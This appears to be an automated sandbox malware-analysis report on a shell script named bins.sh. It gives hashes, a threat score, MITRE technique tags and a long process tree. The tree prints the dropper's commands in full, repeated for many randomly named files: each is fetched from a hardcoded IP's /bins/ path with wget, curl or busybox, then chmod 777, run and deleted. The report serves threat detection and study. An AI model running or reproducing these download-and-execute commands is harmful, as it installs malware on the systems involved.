fb30e0996776502e73ebb30ac11af21a997f69e3e1acc3e92cc02b22dc9a8157

Analysis

max time kernel
19s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
26/10/2024, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241026-vdedmaxdnk
SHA256 fb30e0996776502e73ebb30ac11af21a997f69e3e1acc3e92cc02b22dc9a8157
MD5 2f6a38702bf0b143a444ac08a1a72a89
SHA1 47f93f41937803a4aaca7305eb9aa8216bfde185
SHA512 8e555404d7f73829798b579b21994a1156de7954373c7f5dd0e1cd9073075fc8009cbb5d1c414290a0a67278fdcedb7a26206f086858743e295fb78398621136
SSDEEP 192:xu3r/SrDrWu5BuVPpXI85iCdr/SrDui5BHI85iCqy:xu3r/SrDrWpxpXI85iCdr/SrDuAI85iM
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1637	chmod
1491	chmod
1497	chmod
1535	chmod
1553	chmod
1613	chmod
1661	chmod
1571	chmod
1589	chmod
1595	chmod
1625	chmod
1503	chmod
1523	chmod
1541	chmod
1643	chmod
1559	chmod
1565	chmod
1577	chmod
1583	chmod
1607	chmod
1619	chmod
1517	chmod
1529	chmod
1655	chmod
1547	chmod
1631	chmod
1649	chmod
1601	chmod

Executes dropped EXE 28 IoCs

System Network Configuration Discovery 1 TTPs 40 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1496	busybox
1544	wget
1562	wget
1586	wget
1591	rm
1494	wget
1540	busybox
1548	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
1652	wget
1656	Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
1538	wget
1546	busybox
1630	busybox
1628	wget
1499	rm
1539	curl
1545	curl
1566	Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
1624	busybox
1653	curl
1657	rm
1542	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
1563	curl
1590	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
1622	wget
1627	rm
1495	curl
1564	busybox
1632	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
1654	busybox
1626	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
1633	rm
1543	rm
1549	rm
1567	rm
1587	curl
1623	curl
1498	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
1588	busybox
1629	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB	curl
File opened for modification	/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	curl
File opened for modification	/tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf	curl
File opened for modification	/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	curl
File opened for modification	/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	curl
File opened for modification	/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	curl
File opened for modification	/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	curl
File opened for modification	/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	curl
File opened for modification	/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	curl
File opened for modification	/tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB	curl
File opened for modification	/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	curl
File opened for modification	/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	curl
File opened for modification	/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	curl
File opened for modification	/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	curl
File opened for modification	/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	curl
File opened for modification	/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	curl
File opened for modification	/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	curl
File opened for modification	/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	curl
File opened for modification	/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	curl
File opened for modification	/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	curl
File opened for modification	/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	curl
File opened for modification	/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	curl
File opened for modification	/tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW	curl
File opened for modification	/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	curl
File opened for modification	/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	curl
File opened for modification	/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	curl
File opened for modification	/tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf	curl
File opened for modification	/tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1474
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1475
- /usr/bin/wget
  wget http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:1476
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Writes file to tmp directory
  PID:1483
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:1490
- /bin/chmod
  chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Executes dropped EXE
  PID:1492
- /bin/rm
  rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:1493
- /usr/bin/wget
  wget http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:1494
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1495
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:1496
- /bin/chmod
  chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - File and Directory Permissions Modification
  PID:1497
- /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1498
- /bin/rm
  rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:1499
- /usr/bin/wget
  wget http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:1500
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:1502
- /bin/chmod
  chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Executes dropped EXE
  PID:1504
- /bin/rm
  rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:1506
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:1516
- /bin/chmod
  chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Executes dropped EXE
  PID:1518
- /bin/rm
  rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:1520
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:1522
- /bin/chmod
  chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Executes dropped EXE
  PID:1524
- /bin/rm
  rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:1526
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:1528
- /bin/chmod
  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Executes dropped EXE
  PID:1530
- /bin/rm
  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:1532
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:1534
- /bin/chmod
  chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Executes dropped EXE
  PID:1536
- /bin/rm
  rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:1538
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1539
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:1540
- /bin/chmod
  chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1542
- /bin/rm
  rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:1543
- /usr/bin/wget
  wget http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:1544
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1545
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:1546
- /bin/chmod
  chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1548
- /bin/rm
  rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:1549
- /usr/bin/wget
  wget http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:1550
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:1552
- /bin/chmod
  chmod 777 ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - File and Directory Permissions Modification
  PID:1553
- /tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  ./ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Executes dropped EXE
  PID:1554
- /bin/rm
  rm ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://87.120.84.230/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:1556
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:1558
- /bin/chmod
  chmod 777 MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  ./MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Executes dropped EXE
  PID:1560
- /bin/rm
  rm MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:1561
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:1562
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1563
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:1564
- /bin/chmod
  chmod 777 Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  ./Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1566
- /bin/rm
  rm Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:1567
- /usr/bin/wget
  wget http://87.120.84.230/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1568
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1570
- /bin/chmod
  chmod 777 cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  ./cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Executes dropped EXE
  PID:1572
- /bin/rm
  rm cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:1573
- /usr/bin/wget
  wget http://87.120.84.230/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:1574
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Writes file to tmp directory
  PID:1575
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:1576
- /bin/chmod
  chmod 777 iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  ./iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Executes dropped EXE
  PID:1578
- /bin/rm
  rm iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:1579
- /usr/bin/wget
  wget http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:1580
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Writes file to tmp directory
  PID:1581
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:1582
- /bin/chmod
  chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Executes dropped EXE
  PID:1584
- /bin/rm
  rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:1585
- /usr/bin/wget
  wget http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:1586
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1587
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:1588
- /bin/chmod
  chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - File and Directory Permissions Modification
  PID:1589
- /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1590
- /bin/rm
  rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:1591
- /usr/bin/wget
  wget http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:1592
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:1594
- /bin/chmod
  chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Executes dropped EXE
  PID:1596
- /bin/rm
  rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:1597
- /usr/bin/wget
  wget http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:1598
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:1600
- /bin/chmod
  chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Executes dropped EXE
  PID:1602
- /bin/rm
  rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:1603
- /usr/bin/wget
  wget http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:1604
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Writes file to tmp directory
  PID:1605
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:1606
- /bin/chmod
  chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - File and Directory Permissions Modification
  PID:1607
- /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Executes dropped EXE
  PID:1608
- /bin/rm
  rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:1609
- /usr/bin/wget
  wget http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:1610
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Writes file to tmp directory
  PID:1611
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:1612
- /bin/chmod
  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Executes dropped EXE
  PID:1614
- /bin/rm
  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:1615
- /usr/bin/wget
  wget http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:1616
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Writes file to tmp directory
  PID:1617
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:1618
- /bin/chmod
  chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - File and Directory Permissions Modification
  PID:1619
- /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Executes dropped EXE
  PID:1620
- /bin/rm
  rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:1621
- /usr/bin/wget
  wget http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:1622
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1623
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:1624
- /bin/chmod
  chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - File and Directory Permissions Modification
  PID:1625
- /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1626
- /bin/rm
  rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:1627
- /usr/bin/wget
  wget http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:1628
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1629
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:1630
- /bin/chmod
  chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - File and Directory Permissions Modification
  PID:1631
- /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1632
- /bin/rm
  rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:1633
- /usr/bin/wget
  wget http://87.120.84.230/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:1634
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Writes file to tmp directory
  PID:1635
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:1636
- /bin/chmod
  chmod 777 iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - File and Directory Permissions Modification
  PID:1637
- /tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  ./iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Executes dropped EXE
  PID:1638
- /bin/rm
  rm iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:1639
- /usr/bin/wget
  wget http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:1640
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Writes file to tmp directory
  PID:1641
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:1642
- /bin/chmod
  chmod 777 ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - File and Directory Permissions Modification
  PID:1643
